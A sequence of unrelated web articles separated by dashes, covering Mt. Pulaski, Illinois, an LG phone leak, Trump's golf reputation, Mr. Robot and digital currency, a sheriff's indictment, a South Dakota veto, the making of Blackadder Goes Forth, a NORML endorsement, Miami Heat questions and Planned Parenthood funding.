forefront of renewable energy with their newly constructed Hilltop Wind Farm which consists of approximately 70 turbines. Mt. Pulaski is a community of progressive thinking and has many amenities for its residents and visitors to enjoy. The town square is the center for government, commerce, and civic events. Mount Pulaski has its special place in American history and is named after Casimir Pulaski, a Brigadier General in the Revolutionary War. During the prohibition, Mt. Pulaski earned its’ well-known nickname,” Vinegar Hill” and has a vast array of history. It is home to one of only two original courthouses where Abraham Lincoln practiced law on the 8th Judicial Circuit. Mt. Pulaski is also home to famous people such as Vaughn De Leath (first female to sing on the radio) and John Schlitt (lead singer of Head East and Petra). Mt. Pulaski, a Purple Heart Community, is a few miles west of the Geographic Center of Illinois and is in southern Logan County. Main highways such as Illinois Route 54 and State Highway 121 along with County Highways 1 and 10 passes through the outskirts of town. These highways give residents and visitors the ease of traveling to and from surrounding cities such as Lincoln, Bloomington, Decatur, Springfield, Clinton, and villages such as Elkhart and Illiopolis. Mt. Pulaski is a short distance from major interstates such as I-55, 155, I-72, and U.S. Route 51. Mt. Pulaski is home to the Mt. Pulaski Grade School (Bruins & Honeybears), Mt. Pulaski High School (Hilltoppers) and parochial school, Zion Lutheran (The Crusaders). Mt. Pulaski School District #23 is ranked in the top 100 schools in Illinois. The 2018 U.S. News Scorecard ranked Mt. Pulaski at 64% in Mathematics Proficiency and 83% in Reading Proficiency which is considerably higher than the state average. District #23 focuses on academics first and foremost but has also built a strong foundation for extracurricular activities. Mt. Pulaski has sustained itself, due to the hard-working residents that volunteer in the array of community organizations. These organizations strive to preserve the historical and social culture of Mt. Pulaski and keep the towns’ traditions vibrant. Mt. Pulaski’s vast majority of its 1500 residents share common Midwestern values, have an immense sense of community pride, are supportive of their neighbors, friends, and family, and are welcoming to visitors and new residents. Mt. Pulaski provides residents and visitors alike the opportunity to discover new things, new friends, and live a great quality of life. -South Korean mobile phone maker LG Electronics has been rumored for quite some time now to be working on the release of a smaller version of its LG G3 flagship, and it seems that the handset has already received approvals for a landing in the United States. Earlier this week, the handset was spotted in China in the form of LG G3 Beat, but it is expected to become available internationally under the name of LG G3 mini. The handset has made an appearance over at the FCC with model number D725 attached to it, and is said to be en route to the network of wireless carrier AT&T. To be more precise, the smartphone comes to shelves with support for this wireless carrier’s LTE bands (2, 4, 5 and 17), which clearly suggests that it will be added to the company’s lineup shortly, as mylgphones points out. While there’s no official confirmation on this being the aforementioned LG G3 mini smartphone, all of the latest leaks on it suggest that it would arrive on the market under this name. In fact, a certain LG D724 handset has been spotted on the Indian import tracking site Zauba with a 4.5-inch touchscreen display, which is smaller than the screen of G3 Beat. However, the FCC listing shows that LG D725 measures 136.4mm x 69.8mm, and that it sports a 5-inch (127.0mm) screen, the same as the Chinese counterpart. For those out of the loop, we should note that LG G3 is expected to feature an IPS LCD screen capable of delivering a 720p resolution, and that is should be powered by a 1.2GHz quad-core Qualcomm Snapdragon 400 processor. LG G3 mini at the FCC Moreover, the smartphone is said to sport 2GB of RAM, along with 16GB of internal memory, and a microSD memory card slot for expansion purposes, while being powered by a 2540mAh battery. On the back, it should feature an 8-megapixel camera with Optical Image Stabilization, flash and full HD video recording, paired with a 2MP front camera for making video calls while on the go. What remains to be seen is whether LG will continue the tradition and will include rear-mounted power and volume buttons on LG G3 mini, the same as it did with LG G3 and other models before it. The upcoming smartphone is expected to run under the Android 4.4.2 KitKat right from the start, and should also sport LG’s user interface loaded on top right from the start. No specific info on when the LG G3 mini might arrive on shelves at AT&T has been provided as of now, but we can expect it to go official in the not-too-distant future, so stay tuned for more on it. -“I don’t drop balls, I don’t move balls. I don’t need to,” says Trump, seen teeing off during pro-am play at Bethesda’s Congressional Country Club. (John Middlebrook/AP) One morning in the mid-1990s, Mark Mulvoy was on the sixth hole of Long Island’s Garden City Golf Club with Donald Trump when the skies opened, and they ducked for cover under a nearby awning. The rain let up a few moments later, and Mulvoy, then the managing editor of Sports Illustrated, returned to the green. When he got there, he found a ball 10 feet from the pin that he didn’t remember seeing before the storm. “Who the hell’s ball is this?” he said. “That’s me,” the real estate mogul said, according to Mulvoy. “Donald, give me a f---ing break,” Mulvoy recalls telling him. “You’ve been hacking away in the . . . weeds all day. You do not lie there.” “Ahh, the guys I play with cheat all the time,” he recalls Trump replying. “I have to cheat just to keep up with them.” It’s a story that the current Republican front-runner hotly denies. “I don’t even know who he is,” Trump said when asked about Mulvoy’s account.“I don’t drop balls, I don’t move balls. I don’t need to.” But just as Trump has emerged as a national phenomenon by tearing up the rule book of electoral politics, it appears that the mega-developer’s willingness to bend the rules may apply to his philosophy of the links as well. The Donald is known for describing himself as a man of unbridled accomplishment and success in virtually every area he’s attempted, and his golf game has long been one of his most highly self-touted skills. [Why does everyone call Donald Trump ‘The Donald’? It’s an interesting story.] “I’ve played a lot, and I’ve played well,” he said. “There’s very few people that can beat me in golf.” On multiple occasions during his campaign, he has let voters know that he “killed” Sen. Rand Paul (R-Ky.) when the two squared off this year. “I could play him a thousand times and never lose to him,” he said. And by all accounts, Trump is a very good golfer. Just maybe not as good as he says he is. “The worst celebrity golf cheat?” the rock star Alice Cooper said in a 2012 interview with Q magazine. “I wish I could tell you that. It would be a shocker. I played with Donald Trump one time. That’s all I’m going to say.” (“I’ve never played with Alice Cooper,” Trump said. “That’s a terrible thing to say about people, especially me.”) “Golf is like bicycle shorts: It can reveal a lot about a guy,” said Rick Reilly, the sportswriter who hit the links with Trump for his 2004 book “Who’s Your Caddy?” — in which Reilly lugged clubs for several of the world’s best golfers and VIP amateurs. As for Trump? “When it comes to cheating, he’s an 11 on a scale of one to 10,” Reilly said. “The worst celebrity golf cheat?” Trump — shown with pros John Daly, Chi-Chi Rodríguez and Rocco Mediate, from left, at Puerto Rico’s Trump International Golf Club in 2010 — is offended by the suggestion. (Ricardo Arduengo/AP) Reilly told The Washington Post about an afternoon when Trump wrote down scores he didn’t actually achieve on his scorecard, conceded putts to himself by raking the ball into the hole with his putter rather than striking it properly (“He rakes like my gardener!”), and even called a gimme — something a player might claim for a two-foot putt — on what should have been a chip shot. “He took the world’s first gimme chip-in,” Reilly said. At one point, Trump, after taking a number of second shots, told Reilly to “make sure you write that I play my first ball. You don’t get a second ball in life.” In life, it may or may not be true that a person gets a second chance; and yet, as Reilly wrote, on holes 1, 13 and 17, Trump did indeed get a second ball. Trump disputes Reilly’s entire story as well: “I always thought he was a terrible writer,” he said. “I absolutely killed him, and he wrote very inaccurately. I would say that he’s a very dishonest writer. . . . I never took a gimme chip shot. . . . I don’t do gimme chip shots. If I asked his approval, that’s not cheating, number one. Number two, I never took one.” But Reilly noted something else about playing with Trump that is echoed by others who have golfed with him: He had an amazing time. Trump played with confidence and bravado, he tipped the caddies, he gave great pointers that helped his comrades with problem swings. So what if he cheats? The guy is a lot of fun! “It’s his limo ride, his golf course. The guy paid for lunch — what are you going to do?” Reilly said. “He’s exhausting, but I want to be clear: I really liked him. It was just like being in a crazy carnival for a day. Though I’m not sure it would be so much fun when it starts to count.” “He took the world’s first gimme chip shot,” ESPN’s Rick Reilly claims of The Donald, seen at the opening of his Sterling, Va., golf course in June. (Jeffrey MacMillan/For The Washington Post) Tony Kornheiser of ESPN played with Trump in 2008 and said in an e-mail that Trump “couldn’t have been more gracious or more fun.” Fox News anchor Bret Baier, who recently went toe-to-toe with Trump at the first debate, has played with the real estate mogul and said he was actually very nice when separated from a television camera. [Never mind the Megyn Kelly and Jorge Ramos clashes. Donald Trump is the most media-friendly candidate.] Jonathan Carr spent the 2007 and 2008 golf seasons caddying at Trump National Golf Club in Bedminster, N.J. He remembers a gregarious club owner who treated the caddies with the utmost respect, a man who, despite lacking a “pristine” golf swing, played with a high level of skill and an even higher level of confidence. Carr never saw Trump come close to bending the rules, although he said everyone who caddied there had heard of that reputation. “The caddies would say, ‘If I get on his bag, I’m going to make sure he always has a good lie,’ ” Carr said, meaning that even if Trump shanked a ball, the caddies would do what they could to place it on the fairway. And judging by Trump’s own account, he’s had plenty of good lies. He said he holds the amateur record on his own golf course in West Palm Beach, Fla., a 66. In a story about celebrity golf handicaps, Forbes reported that his is a 4 but noted they have yet to see “a real signed scorecard.” From a guy who once went on a mission to get President Obama to release his birth certificate, this raises some eyebrows. Ironically, Trump had only nice things to say about the president when it came to his golf game. “His swing looks like it’s coming along beautifully. His game looks much better,” he told The Post. “I’d love to play him for the presidency.” Not so much for one of his main opponents, former Florida governor Jeb Bush: “I’d love to play Jeb for the presidency,” he said, before adding: “That would be even easier than running against him in politics.” Trump has shown that his candidacy is immune to the types of attacks that can bring down normal Republican candidates. He’s on record mocking a war hero and praising House Minority Leader Nancy Pelosi (D-Calif.), he has advocated for higher taxes, donated to Democrats and called for single-payer health care. None of that has mattered. But does his golf history provide opponents with the opening they need? “FACT: Former House speaker Will Weatherford said ‘he did not remember @realDonaldTrump shooting 72,’ ” Danny Diaz, Jeb Bush’s campaign manager, tweeted recently. But perhaps even this attack could backfire. The only other person that Reilly remembers cheating as much as Trump? None other than Bill Clinton. Maybe Trump’s cheating is his most presidential move yet. -Last week, the cult USA channel TV show Mr. Robot showed once again why it is required viewing for anyone interested in technology. In a conversation between E Corp CEO Phillip Price and a top government official named Jack (a thinly-veiled Jack Lew?), he talked about his plans to get official government backing for his virtual currency, eCoin: Jack (James Lloyd Reynolds) : “…it’s unconstitutional, you can’t make your own currency. That is the Federal Government’s job! We simply cannot let you make big loans in eCoin that you would not make in dollars.” Phillip Price (Michael Cristofer): “Jack look at me. I am not the problem here. The problem here is hard cash is fading rapidly. That’s just the way of the world right now. And Bitcoin is spreading. And if Bitcoin takes over, we are all in a world of hell! It is unregulated. It has already reached its transaction volume maximum. And, it is partly controlled by Chinese miners.” Jack: “You just accepted two trillion dollars from them!” Phillip Price: “Yes, yes, and now I want to use it against them. With eCoin we control the ledger… and the mining servers. We are the authority! I will make sure you have visibility into every single wallet that’s open, every loan, every transaction; which means we can start making new assets, which means we can start rebuilding the banking sector.” In this conversation, the show reveals a grasp of technological change that few in the policy community, and fewer in government itself, display. The central issue in play with the future of money is that money is itself a technology. It is a technology for making payments (the exchange of wealth in return for goods or services) and storing value. If other technologies can provide those services better than money, then money will be replaced. We already know that money is a terrible store of value. As George Gilder points out in his recent book, The Scandal of Money, “A million paper dollars held since 1913, when the Federal Reserve Bank was created, would be worth $20,000 today, down 98 percent. A million dollars of gold in 1913 would now be worth $62 million.” Inflation eats away at its worth, which is why so many people store their wealth in things other than savings accounts, whether it be in physical gold, real estate, or artwork. None of these, however, are good at making payments of all sorts of value, which has been money’s forte since Croesus of Lydia minted the first electrum coin. Government Money's Shoddy Payment System In today’s world, however, money is also proving to be a less reliable system of making payments than other new technologies. Its clearing systems are either antiquated, like the Federal Reserve’s check clearing system, or constrained by regulation aimed at preventing fraud that results in delays in exchanges. Digital currencies, on the other hand, are proving more adept at payments than money-based systems. In Kenya, digital currency is rapidly replacing cash. Bitcoin payments are registered through the Blockchain, allowing for both rapid payment and for fraud protection (most “Bitcoin scandals” have been at exchanges where Bitcoins are changed into money, or represent theft of unsecure wallets). Yet digital currencies have plenty of weaknesses thanks to the way the financial system is regulated, as Bill Frezza discussed when he looked into the failure of e-Gold. These problems are not inherent to the technologies, but are instead built into the regulatory system because of limitations in the technology of money. Mr. Robot’s putative eCoin perhaps suggests a way around this regulatory problem – a cronyist currency controlled by one company working hand-in-glove with the government – but it is hardly one suited to innovation or solving the problems of currencies that have a political dimension. Indeed, it is the worst of all worlds, losing the ancillary benefits of cash money in terms of privacy. It represents the truly dystopian view of a “cashless society.” Free the Money Instead, the regulatory problems should be solved the way such problems are by sane societies when the regulations prove to be inappropriate – by deregulation and/or new regulatory frameworks appropriate to the new technology. Coin Center has plenty of ideas along these lines. Unfortunately, financial regulation is an area where sanity is in limited supply, which is why the Dodd-Frank Act, designed to combat the problem of “Too Big to Fail,” is immiserating African villages. And public choice theory tells us that this problem will be hard to fix. This is why reforming the regulation of payments systems to be innovation-friendly may represent the easiest way to square this particular circle. If existing networks and international standards can learn from how digital currencies work, and incorporate their best features, we may yet see how the dystopian nightmare posited by Mr. Robot can be averted without society bringing down the global financial system. This piece ran on CEI's blog. -Every share makes Black Voice louder! Share To Share To Wagoner County Sheriff Robert Colbert and Captain Jeff Gragg are accused of bribery and extortion. Both of them could face up to 25 years in jail. A multi-county grand jury indicted Wagoner County Sheriff Robert Colbert and Captain Jeff Gragg on charges of bribery and extortion. They allegedly took bribes from drug dealers and let them go free. In 2014 they accepted a $10,000 bribe that secured the release of the motorist and passenger, who were arrested for possession of drugs, and removal of their names from the jail’s booking records. Now Colbert and Gragg could face up to 25 years in jail. Colbert’s lawyer refuted the grand jury’s accusations that the money went missing. “The funds are not missing and are accounted for,” he said. “The sheriff’s office timely deposited every cent of this money in the county treasurer’s account as required by state law. This money was earmarked for fighting drug trafficking to help protect the citizens.” The indictment can raise questions about the reasonability of changing Oklahoma’s civil asset forfeiture law. We should stop thinking that bad cops are rare and start realizing how badly cops abuse their power. The cops get away with everything and the prosecutors and judges only encourage it. The court system is a joke. -South Dakota Governor Vetoes Bill Stipulating Transgender Students' Bathroom Use Enlarge this image toggle caption James Nord/AP James Nord/AP Gov. Dennis Daugaard has vetoed a bill that would have required transgender students in South Dakota's public schools to use bathrooms, locker rooms and other facilities based on their gender at birth. Daugaard issued the veto Tuesday afternoon on a bill that would have become law at midnight if he had taken no action. Opponents of the measure, including the American Civil Liberties Union and the Human Rights Campaign, had called on Daugaard to veto the bill. "Proponents of House Bill 1008 say it protects students' privacy," South Dakota Public Radio reports. "Opponents say it's discrimination." After the bill was approved by a 20-15 vote in the state Senate last month, its opponents held protests and questioned lawmakers about it. Daugaard, who in the past had said that he saw the legislation as providing accommodations for both sides, had also met with transgender students and parents. "I heard their personal stories," Daugaard said after those meetings, according to SDPB. "And so I saw things through their eyes in that sense. I had read other personal stories. Certainly I'm getting personal stories through the emails, and through what I read in the paper." The law would have had particular impact for the 1,360 youth in South Dakota who identify as transgender, according to an estimate by the Williams Institute, a think tank based at UCLA. But it's also part of a wider debate over lesbian, gay, bisexual and transgender rights. Last week, the city council of Charlotte, N.C., approved a nondiscrimination ordinance that allows transgender people to use the bathroom of their choice. According to the ACLU, at least 200 other cities and counties have enacted similar legislation, as have at least 18 states. -By early 1989, the Blackadder writers Richard Curtis and Ben Elton had already agreed on the setting for their hero’s fourth full incarnation, Blackadder Goes Forth , moving into the 20th century. The team were contracted to begin recording in the late summer. With Tim McInnerny back in the fold after skipping a series, and Stephen Fry and Hugh Laurie as full-time players, alongside Rowan Atkinson (Blackadder) and Tony Robinson (Baldrick), the new line-up was just one way in which the latest series would be the ultimate distillation of everything that had gone before. Though there was no question at the time of this being a finale, by bringing the Blackadder family so close to the modern day, everybody involved knew that this would not be just any other series. One of many differences was the fact that, with the First World War in their sights, the writers decided that historical research was a necessity, for the first time. “With Blackadder two and three, we weren’t particularly respectful of the periods, but I don’t think we were really into any blatant howlers,” Elton says. “Obviously, with the First World War we had a very different approach.” Ribbing the attitudes of centuries gone by was one thing, but finding humour in the deaths of 35 million people within living memory was not a task that anyone could countenance. “We read lots of books about it,” Curtis says. “They were interesting, because all the stuff we wanted to write about, which was sort of the clash of the classes, and getting stuck in a small confined space, was funny. All the people coming from communities where they’d never bumped into posh people, and vice versa, and all being so gung-ho and optimistic and enthusiastic… The first 100 pages of any book about the First World War are hilarious – and then everybody dies.” Laurie says: “It was a really peculiar and bold thing to try and make a comedy out of, but I think ultimately a very sympathetic and respectful one. Even though the characters were absurd and moronic at times, it never disrespected their courage or their sacrifice.” “Of all the periods we covered it was the most historically accurate,” says Atkinson. “We may have exaggerated the characters and what happened to them, but it is very difficult to exaggerate the absurdity and horror of the First World War. It may sound ridiculous for someone to face a court martial for shooting a pigeon, but madder things happened in reality. Towards the end of the war 30 soldiers were court-martialled and shot in France by our own side for not wearing a hat in the trenches. It is so absurd nobody would ever believe it.” Robinson says: “We’d always said that more than anything what we’d like to do would be to create a series that was very claustrophobic, where the five or six of us who were the performers were trapped in a space. And what better way to feel that notion of claustrophobia than to set it in the trenches?” “Good sitcoms, so the wisdom goes, are set in places where people can’t get out,” the producer John Lloyd continues. “Porridge in prison; in Fawlty Towers, Basil’s trapped with a ghastly wife that he can’t escape from and a business which is going bust but which is his only livelihood. And we set ours in a trench dugout where there’s only two ways to escape – one is forward to the German guns, the other is backwards to the British firing squads.” Having begun the dynastic saga by chickening out of active service at Bosworth, finally a Blackadder was going to war, whether he liked it or not. This didn’t actually make Captain Blackadder brave, just in the wrong place at the wrong time, although Atkinson did sense a change with each dynasty. “In the first series, Blackadder was just an idiot. In the second series he was dashing but weak. As the butler, he became cleverer and nastier. This time he is less cruel and more careworn.” “One of the things I love about series four,” Curtis says, “is that strangely I think Baldrick gained meaning. You know, he’d just been a fool and a butt the whole way through, but there was a remarkable thing that happened right at the end of that series, when he did suddenly seem to represent the working man.” Fry’s character, General Melchett, although undeniably Colonel Blimpish, would go on to personify the dangerous ignorance of First World War high command like no other comic creation. “Young people playing old people are funny,” says Fry. “Because I was young and I was playing a General, it was somehow funnier than if I’d been the right age to be a general. With Blackadder the last thing you want is to take it too seriously. The audience relishes the sight of an actor enjoying himself. They like to see the gargantuan imbecility of it.” He adds, however, “The Melchett in series four was a very different character to the one in two, he was much, much more aggressive, much more insane, much more powerful. He was really, for almost the entire series, the source of power. And he represents the absolute insanity of the war. Without being too pompous about Blackadder, it does I think illustrate perfectly the nature of that grotesque war.” McInnerny was lured back with the promise of the series’ second all-new character, Blackadder’s weaselly and sycophantic equal. “Darling and Blackadder are kind of the same really,” Elton says, “lower-middle-class sort of semi-gentlemen. But obviously one of them has managed to connive his way on to the staff, and the other one’s bad-lucked into the trenches.” As McInnerny recalls: “In the initial rehearsals, he wasn’t even called Darling, he was called Captain Cartwright, which is kind of dull. I mean, I didn’t even know who he was and couldn’t get an angle on him.” “Darling is, I think, one of the great comic creations,” says Lloyd, “and it came from an actor’s determination to carve himself a place here.” Fry continues, “Tim was a bit distressed because his character seemed to be nothing. He was called Cartwright, and I suggested, in a rare moment of brilliance, that maybe he should have a really silly name that was a constant torment to him… And suddenly this character was born out of nowhere, just because of the name!” McInnerny’s transformation into the captain completed the strongest line-up of any Blackadder series, but as the writers may have reflected even at that early stage, Darling’s genesis did not augur well for a smooth production. As Fry recalls: “I remember saying to Hugh and Rowan and John, ‘What will happen in six months’ time when a taxi driver says to you, “Oh, those Blackadders, I bet they’re fun to make, aren’t they?” Will you go “Yes, marvellous fun!”?’ And they all said, ‘No! We’ll be honest and say they’re hell!’” “The producer is supposed to be the person who makes sure that inspiration doesn’t turn into complete filthy anarchy. Unfortunately, we had John…” Robinson says. “We workshopped every word, every exclamation mark! Although we didn’t have the 12 writers you would have for Taxi or Cheers, you had people in the room who were doing exactly the same kind of thing that those writers on an American show would do. We were constantly challenging every single gag, the structure of every scene – we even put additional characters in sometimes. So there was a lot of tension between the writers on the one hand, and the producer on the other, who was, as it were, the representative of what the actors were saying. And it was very good, but it could be quite upsetting sometimes.” “I can’t tell you how profoundly competitive that environment is,” says Robinson, “but I contributed like mad. I think whenever I'm in a corner I always get noisy. Being the only grammar-school boy among that incredibly talented group of highly articulate performers, and having left school at 16, and not having been to university, there was a sense in which they always felt very different from me, really rather exotic, and yet in a way, not really kind of tuned in to the real world, because they all talked so elaborately. And I think that probably helped me with Baldrick.” As Curtis acknowledges, there was only one place Blackadder Goes Forth was ever going to end up. “It was the condition on which we wrote the series. In a way it had been the arrow shot off at the beginning, that it was always going to land in No-man's-land… In a way, that set us free to be as disrespectful as we wanted to be at the beginning, because we were going to be respectful, or at least truthful, at the end.” And McInnerny recalls the looming threat of the final big push: “The world-weariness of Blackadder was something kind of extraordinary. He was beaten down, he wasn’t necessarily going to win every time, and knew he wasn’t. Which gave it a kind of darker edge, I think… The extraordinary thing was that there really was only one plot, which was ‘how can we get out of here?’ I mean, every episode. But at the back of your mind, you think, ‘They can’t get out of it every week, they’re not going to be able to get out of it… Oh, they’re not going to get out of it.’” As a valedictory theme for Blackadder’s last reincarnation, swapping the military rank-related episode titles for Weston & Lee's 1915 hit Good-bye-ee was an inspired move, leaving little doubt in the minds of those who read the synopsis for the conclusion in the television listings before settling down to watch on November 2 1989, that this was the end of the road for the anti-hero. And yet, as Blackadder’s last desperate escape plan unfurled (pretending to be mad by putting two pencils up his nose and his underpants on his head), there was still hope that the scheming cad could somehow pull through. For the cast and crew, however, the knowledge that such hope was fruitless made for a uniquely difficult week of recording. Laurie recalls: “It had as its backdrop the greatest tragedy of modern man, and that gave the thing a poignancy and a texture that few other things I’ve been involved in have had, or could have had.” Atkinson concurs: “I do remember throughout the whole week of rehearsal leading up to Good-bye-ee, and indeed the recording of the episode, having this nasty knot in the pit of my stomach, which reflected the dilemma of my character.” Nevertheless, there was the best part of half an hour of laughs to be had before any conclusion, and at last, the episode attained the truly claustrophobic atmosphere desired by Lloyd for so long, as the old comrades awaited their fate. As the doomed soldiers waited for dawn, there was the traditional excess of jokes which would be trimmed out of the broadcast version, such as the dialogue before the celebrated debut of Baldrick as war poet: Edmund: Hang on, Baldrick, you can’t even write! Baldrick: I remembered it in my head, sir. Edmund: I cannot believe that there is room in that tiny cavity for you to remember both your name and a poem. Baldrick: I think there is, sir! Edmund: All right, fire away, Baldrick. Baldrick: Who’s Baldrick, sir? Edmund: You are Baldrick! Baldrick: Oh yes, that’s right – Bald-rick! Edmund: Now, recite the poem. Baldrick: What poem would that be, sir? Edmund: No, look, forget who you are. [He does so.] Now let’s hear the poem. Baldrick: ... ‘The German Guns’, by… Me. “When Ben gave me the script with Baldrick’s poem on it, I just went, ‘Thank you!’” Robinson grins, and Fry adds, of the Tommy’s proud rendition of the word “Boom” 14 times: “It is fine poetry; this was the age of modernism, after all. So Baldrick was perhaps the leading modern poet of his age.” Lloyd says, “Suddenly they’re all together, except for Melchett, and enmities have to be patched up, because at the end of the day, they’re all probably going to get killed. The comedy starts to drain out of it in the most horrific way, there was this very odd feeling that you’ve lost control of it.” Right up until the very final few lines, with the four unlikely comrades lined up before the trench ladders, there’s still hope that a typical Blackadder – or even Baldrick – cunning plan could be waiting around the corner until Darling’s breathtakingly tragic outpouring of misplaced joy, “Thank God! We lived through it! The Great War: 1914 to 1917”, finally knocks the wind out of the hopeful viewer. For the final push, an extra £10,000 had been spent on creating No-man’s-land in a separate studio, away from the audience who could only watch on the monitors. Lloyd remembers, “The actors were alone, in the dark, with a single assistant floor manager, and had to go over the top, with real explosions going off around them. After the first, shocking take, the studio audience and the production team were stunned into silence, but [the director] Richard Boden and I felt it could be done a bit better.” It was five to 10, and they had one last chance to get the shot right. John spoke into the floor manager’s earpiece, but the reply came from Rowan himself, in “shattered” tones: “I’m sorry,” came the voice, “but we can’t do another one, it’s just too horrible.” “What do you mean, you’re not going to do it?” “It’s really the most frightening thing I’ve ever done, and we’ve all agreed we’re not going to do it, and I’m very sorry.” And with that, the line went dead. “It was one of the lowest points, I think, of my television career,” Lloyd admits, “thinking, ‘The end of this amazing series, and I've just screwed it up!’” Seeing the raw footage of the cast stumbling towards the camera, awkwardly striding towards eternity, it’s easy to see why the editing team had worries. However, Lloyd says, “Each person in that room, as I remember, made at least one contribution to the ending sequence.” Chris Wadsworth, the editor, was chief among them. “It was so obvious that we had so little material to work with, we had to really slow the pictures right down in order to stretch them in time, but that produced an incredibly good effect with the flashes which were going over on the right of the picture, and the debris that falls over Rowan. In slow motion, this suddenly achieved a grandeur which was not obvious in the full motion.” Lloyd continues: “In the editing suite we played the tape of Howard Goodall playing the theme on a piano, recorded in a gymnasium; a liquid, lonely sound. Then the editor said, ‘What if we played this shot in slo-mo?’ ‘Oh, that’s a good idea.’ ‘And if the music’s slowed down as well it suddenly becomes stronger.’ “Someone then suggested taking out the colour, draining it out to black and white. And the production secretary said, ‘I know. We could have some poppies. I know where there’s a slide of poppies.’” Boden had always hoped to end on a poppy motif, and helped to select just the right still of bucolic peace, while someone from sound selected birdsong to complete the effect. Wadsworth recalls the first time he mixed between the drained battlefield and the poppy field, and says, “It was a Yes immediately – this was a moment.” So, Lloyd proudly says, “There were about five or six people contributing bits and when you put it all together, blow me down, it’s the most moving thing you’ve ever seen. It’s extraordinary and to this day I feel a fantastic privilege that I was allowed, as it were, in the room where something as wonderful as that happened.” And so, with the series beginning broadcast just as these final touches were being put in place, the team could breathe a sigh of relief that the Blackadder legacy would not be tarnished – but they couldn’t have predicted the unparalleled reaction Blackadder Goes Forth would get from the British public, who hadn’t anticipated that the series would reach its apotheosis on such a note of pathos and sincerity. * This is an edited extract from The True History of the Black Adder by JF Roberts [Preface, £12.99] -by Danielle Keane, NORML Associate The NORML PAC is proud to announce its endorsement of Tim Canova, democratic primary challenger to US House member and DNC Chairwoman Debbie Wasserman-Schultz for Florida’s 23rd congressional district race. Mr. Canova, a law school professor and political activist, is the first Democratic challenger to Representative Wasserman-Schultz since she’s held the office and NORML is excited to support his Congressional campaign. Unlike Congresswoman Wasserman-Schultz, who has cast a number of votes opposing sensible marijuana law reforms, candidate Canova is making drug policy reform a key plank of his campaign. He writes: In Florida, I supported the 2014 medical marijuana referendum that garnered about 58 percent of the vote state-wide, falling just short of the required 60 percent mark. My opponent, Debbie Wasserman Schultz, is a drug warrior who opposed the medical marijuana referendum. Calling marijuana a “gateway” drug, she refuses to allow her constituents in South Florida, in consultation with their doctors, to decide for themselves whether to utilize this plant-based medicine to alleviate pain and other symptoms of various illnesses and the side effects of other medications. Certain industries have a special interest in keeping marijuana illegal – for example, the alcohol and pharmaceutical industries, both of which view recreational and medicinal use of marijuana as a competitive threat; and the private prison industry, which profits from warehousing people in jails, including for marijuana possession. Not surprisingly, having taken in lots of campaign donations from the alcohol, pharmaceutical, and private prison industries and their political action committees (PACs), Debbie Wasserman Schultz opposes medical marijuana and supports privatized prisons and mass incarceration. Unlike my opponent, I do not take any contributions from these special interests, or from any corporate interests at all. In addition to Florida’s medical marijuana referendum, I also support the recent reforms by Miami-Dade and Broward Counties to decriminalize marijuana for personal use, and I call on the federal government to “de-schedule” marijuana from the list of controlled and dangerous substances. In many of the states that have moved in the direction of legalization and regulation of marijuana for personal use, entire new industries are flourishing, adding jobs and increasing tax revenues, and crime rates are falling. While I support state efforts to allow individuals to make their own decisions, I also recognize the need to provide young people — and people of all ages — with many more job and educational opportunities in a time of decriminalization and legalization. Earlier this year NORML released our 2016 Congressional Scorecard, an all-encompassing database of information related to marijuana law reform that graded members of Congress on their willingness to reform our country’s archaic marijuana laws. Representative Wasserman-Schultz was one of 37 congressional members to receive an “F” grade, a grade reserved for members who have spoken out against and actively opposed marijuana reforms. NORML would like to commend Mr. Canova for his commitment toward amending America’s antiquated and overly punitive marijuana policies. Please consider donating to Mr. Canova’s campaign here. Additionally, you can also volunteer for his campaign from the comfort of your own home! All you need is a phone, computer, and internet connection. This call tool on his website allows anyone to call into his district to contact voters to urge their support for Mr. Canova. -Q: I don't understand why they play back-to-back games in the preseason. Doesn't the Heat have control over who and when they play? -- Marcelo. A: They have control over when their home games are played. But teams also try to schedule on the weekends as much as possible, which is why it's Saturday in Houston and Sunday in Atlanta coming up. Plus, preseason games don't generate as much revenue as regular-season games, with little to no walkup sales, so teams tend to schedule them around and potential higher-revenue events. But I agree that the same teams who express such concern about regular-season back-to-backs would be wise to be vigilant in the preseason, as well. The counterargument is that teams can carry up to 20 players in the preseason, so there is not as much stress on players, which the minutes relatively limited for the starters. Also, as has been explained to me by an NBA executive, teams sometimes prefer clustering their exhibitions, so they also can cluster their practices, without have to stop for constant travel. Q: Five preseason games are left to build cohesion with a starting lineup that's never played together. Is this is now a concern? -- Daniel. A: I would like to downplay the preseason and say the time missed by Hassan Whiteside is not a concern. But it is. After Tuesday's game in Orlando, he will have missed all of training camp and half of the preseason with his calf strain. This team can't get on the same page until all its primary pieces are in place. And you know that Erik Spoelstra is not going to play all of his regulars in both Saturday's game in Houston and Sunday's game Atlanta. So the Heat basically have three exhibitions, at best, when the projected starting lineup can play together (and that's only if Whiteside is back by this weekend, although he told me he will try to practice later this week). A lack of continuity destroyed last season and it's not as if the Heat have found the antidote in camp. Remember, the schedule is heavily home-loaded at the start of the regular season. Fail to take advantage of that and it could prove particularly difficult to overcome, especially with the eclipse of road games in January. Q: Giving James Ennis, Justise Winslow, Josh Richardson and Tyler Johnson more playing time during the preseason is meant to build their own confidence. -- Aura. A: First, with no offense to the others, don't group Winslow with those other three. He's at a different place in the rotation, and he needs as much NBA exposure as he can get during the preseason. I'm still not sold on Ennis getting a roster spot, especially if he holds to the contract clause where he becomes fully guaranteed for the season. As for Richardson, the thinking could be that he eventually will get all the seasoning he needs in the D-League, with the Sioux Falls Skyforce. Johnson already has had plenty of NBA exposure, so I'm sure he would be ready if needed. He looked good Monday playing as the first point guard off the bench. -Anti-abortion groups fuming over the Republican failure to defund Planned Parenthood as part of ObamaCare repeal are eyeing tax reform as the next vehicle for their cause. The groups want Republicans to defund Planned Parenthood in a tax reform package that the GOP plans to move through the Senate under special budgetary rules that protect it from a Democratic filibuster. “The failures to pass repeal and replace, including redirecting those dollars to other providers that don’t do abortions, has been incredibly disappointing to us,” said Marilyn Musgrave, vice president of government affairs at the Susan B. Anthony List, a D.C.-based group that works to elect anti-abortion members of Congress. ADVERTISEMENT “It didn’t happen under health care, so now we’re asking that under the 2018 reconciliation bill Congress redirect these dollars.” Some Republicans don’t want to include the Planned Parenthood language in the new package, however, for fear it could hurt their chances of passing the tax bill. “I don’t think we should do anything that compromises passing tax reform,” said Senate Majority Whip John Cornyn John CornynHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Key senators say administration should ban Huawei tech in US electric grid Senate plots to avoid fall shutdown brawl MORE (R-Texas). He suggested that Planned 